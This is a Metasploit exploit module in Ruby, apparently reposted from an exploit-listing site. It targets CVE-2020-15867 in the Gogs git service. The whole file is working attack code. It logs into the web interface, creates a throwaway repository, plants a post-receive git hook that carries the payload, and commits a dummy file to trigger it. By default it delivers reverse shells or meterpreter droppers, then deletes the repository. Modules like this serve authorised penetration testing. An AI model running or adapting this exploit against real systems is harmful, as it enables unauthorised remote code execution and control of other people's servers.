Share
## https://sploitus.com/exploit?id=PACKETSTORM:162123
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gogs Git Hooks Remote Code Execution',  
'Description' => %q{  
This module leverages an insecure setting to get remote code  
execution on the target OS in the context of the user running Gogs.  
This is possible when the current user is allowed to create `git  
hooks`, which is the default for administrative users. For  
non-administrative users, the permission needs to be specifically  
granted by an administrator.  
  
To achieve code execution, the module authenticates to the Gogs web  
interface, creates a temporary repository, sets a `post-receive` git  
hook with the payload and creates a dummy file in the repository.  
This last action will trigger the git hook and execute the payload.  
Everything is done through the web interface.  
  
No mitigation has been implemented so far (latest stable version is  
0.12.3).  
  
This module has been tested successfully against version 0.12.3 on  
docker. Windows version could not be tested since the git hook feature  
seems to be broken.  
},  
'Author' => [  
'Podalirius', # Original PoC  
'Christophe De La Fuente' # MSF Module  
],  
'References' => [  
['CVE', '2020-15867'],  
['EDB', '49571'],  
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],  
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']  
],  
'DisclosureDate' => '2020-10-07',  
'License' => MSF_LICENSE,  
'Platform' => %w[unix linux win],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with']),  
OptString.new('PASSWORD', [true, 'Password to use']),  
])  
  
@need_cleanup = false  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# <meta name="author" content="Gogs" />  
unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})  
return CheckCode::Unsupported('Target does not appear to be running Gogs.')  
end  
  
CheckCode::Appears('Gogs found')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")  
gogs_login  
print_good('Logged in')  
  
@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')  
print_status("Create repository \"#{@repo_name}\"")  
gogs_create_repo  
@need_cleanup = true  
print_good('Repository created')  
  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded)  
when :linux_dropper, :win_dropper  
execute_cmdstager(background: true, delay: 1)  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
print_status('Setup post-receive hook with command')  
gogs_post_receive_hook(cmd)  
print_good('Git hook setup')  
  
print_status('Create a dummy file on the repo to trigger the payload')  
last_chunk = cmd_list ? cmd == cmd_list.last : true  
gogs_create_file(last_chunk: last_chunk)  
print_good("File created#{', shell incoming...' if last_chunk}")  
end  
  
def http_post_request(uri, opts = {})  
csrf = opts.delete(:csrf) || get_csrf(uri)  
timeout = opts.delete(:timeout) || 20  
  
post_data = { _csrf: csrf }.merge(opts)  
request_hash = {  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], uri),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => post_data  
}  
  
send_request_cgi(request_hash, timeout)  
end  
  
def get_csrf(uri)  
vprint_status('Get "csrf" value')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(uri)  
)  
unless res  
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')  
end  
  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
csrf  
end  
  
def extract_value(res, attr)  
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">  
# <input type="hidden" id="user_id" name="user_id" value="1" required>  
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">  
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))  
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")  
end  
  
return match[:value]  
end  
  
def gogs_login  
res = http_post_request(  
'/user/login',  
user_name: datastore['USERNAME'],  
password: datastore['PASSWORD']  
)  
unless res  
fail_with(Failure::Unreachable, 'Unable to reach the login page')  
end  
  
unless res.code == 302  
fail_with(Failure::NoAccess, 'Login failed')  
end  
  
nil  
end  
  
def gogs_create_repo  
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')  
  
res = send_request_cgi('method' => 'GET', 'uri' => uri)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
vprint_status('Get "csrf" and "user_id" values')  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
user_id = extract_value(res, 'user_id')  
vprint_good("user_id=#{user_id}")  
  
res = http_post_request(  
uri,  
user_id: user_id,  
repo_name: @repo_name,  
private: 'on',  
description: '',  
gitignores: '',  
license: '',  
readme: 'Default',  
auto_init: 'on',  
csrf: csrf  
)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
unless res.code == 302  
fail_with(Failure::UnexpectedReply, 'Create repository failure')  
end  
  
nil  
end  
  
def gogs_post_receive_hook(cmd)  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')  
shell = <<~SHELL  
#!/bin/bash  
#{cmd}&  
exit 0  
SHELL  
  
res = http_post_request(uri, content: shell)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
unless res.code == 302  
msg = 'Post-receive hook creation failure'  
if res.code == 404  
msg << ' (user is probably not allowed to create Git Hooks)'  
end  
fail_with(Failure::UnexpectedReply, msg)  
end  
  
nil  
end  
  
def gogs_create_file(last_chunk: false)  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')  
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"  
  
res = send_request_cgi('method' => 'GET', 'uri' => uri)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
vprint_status('Get "csrf" and "last_commit" values')  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
last_commit = extract_value(res, 'last_commit')  
vprint_good("last_commit=#{last_commit}")  
  
http_post_request(  
uri,  
last_commit: last_commit,  
tree_path: filename,  
content: Rex::Text.rand_text_alpha(1..20),  
commit_summary: '',  
commit_message: '',  
commit_choice: 'direct',  
csrf: csrf,  
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting  
)  
vprint_status("#{filename} created")  
  
nil  
end  
  
# Hook the HTTP client method to add specific cookie management logic  
def send_request_cgi(opts, timeout = 20)  
res = super  
  
return unless res  
  
# HTTP client does not handle cookies with the same name correctly. It adds  
# them instead of substituing the old value with the new one.  
unless res.get_cookies.empty?  
cookie_jar_hash = cookie_jar_to_hash  
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))  
cookie_jar_hash.merge!(cookies_from_response)  
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|  
set << "#{cookie[0]}=#{cookie[1]}"  
end  
cookie_jar.clear  
cookie_jar.merge(cookie_jar_updated)  
end  
  
res  
end  
  
def cookie_jar_to_hash(jar = cookie_jar)  
jar.each_with_object({}) do |cookie, cookie_hash|  
name, value = cookie.split('=')  
cookie_hash[name] = value  
end  
end  
  
def cleanup  
super  
return unless @need_cleanup  
  
print_status('Cleaning up')  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')  
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)  
  
unless res  
fail_with(Failure::Unreachable, 'Unable to reach the settings page')  
end  
  
unless res.code == 302  
fail_with(Failure::UnexpectedReply, 'Delete repository failure')  
end  
  
print_status("Repository #{@repo_name} deleted.")  
  
nil  
end  
end